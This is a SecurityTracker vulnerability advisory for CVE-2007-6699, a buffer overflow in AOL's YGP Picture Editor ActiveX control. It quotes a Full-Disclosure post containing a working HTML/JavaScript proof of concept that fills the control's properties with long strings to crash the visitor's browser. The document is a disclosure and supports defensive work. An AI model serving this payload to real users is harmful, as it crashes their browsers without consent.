AOL YGP Picture Editor Buffer Overflows Let Remote Users Deny Service
|
|
SecurityTracker Alert ID: 1019143 |
|
SecurityTracker URL: http://securitytracker.com/id/1019143
|
|
CVE Reference:
CVE-2007-6699
(Links to External Site)
|
Updated: Feb 7 2008
|
Original Entry Date: Dec 26 2007
|
Impact:
Denial of service via network
|
Exploit Included: Yes
|
Version(s): PicEditor Control version 9.5.1.8
|
Description:
A vulnerability was reported in AOL's YGP Picture Editor ActiveX control. A remote user can cause the target user's browser to crash.
A remote user can create specially crafted HTML that, when loaded by the target user, will trigger a memory error in the AIM PicEditor Control and crash the target user's browser.
The CLSID of the vulnerable control is: 085891E5-ED86-425F-8522-C10290FA8309
Elazar Broad reported this vulnerability.
[Editor's note: This was originally reported as a remote code execution vulnerability. On December 27, 2007, the author indicated that remote code execution is not possible based on analysis by Carsten Eiram from Secunia Research.]
|
Impact:
A remote user can create HTML that, when loaded by the target user, will cause the target user's browser to crash.
|
Solution:
No solution was available at the time of this entry.
|
Vendor URL: www.aol.com/ (Links to External Site)
|
Cause:
Boundary error
|
Underlying OS:
Windows (Any)
|
|
Message History:
None.
|
Source Message Contents
|
Date: Tue, 25 Dec 2007 18:29:52 -0500 (GMT-05:00)
Subject: [Full-disclosure] AOL YGP Picture Editor YGPPicEdit.dll Multiple
|
The AOL YGP Picture Editor Control(AIM PicEditor Control) version 9.5.1.8 suffers from multiple exploitable buffer overflows in various
properties. This object is marked safe for scripting. I have not tested other versions. PoC as follows:
----------------
<!--
written by e.b.
-->
<html>
<head>
<script language="JavaScript" DEFER>
function Check() {
var s = 'A';
while (s.length <= 8175) s = s + 'A';
obj.DisplayName = s;
obj.DisplayName = s;
obj.FinalSavePath = s;
obj.ForceSaveTo = s;
obj.HiddenControls = s;
obj.InitialEditorScreen = s;
obj.Locale = s;
obj.Proxy = s;
obj.UserAgent = s;
}
</script>
</head>
<body onload="JavaScript: return Check();">
<object id="obj" classid="clsid:085891E5-ED86-425F-8522-C10290FA8309">
</object>
</body>
</html>
----------------
Happy Holidays to all!
Elazar
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
|
|
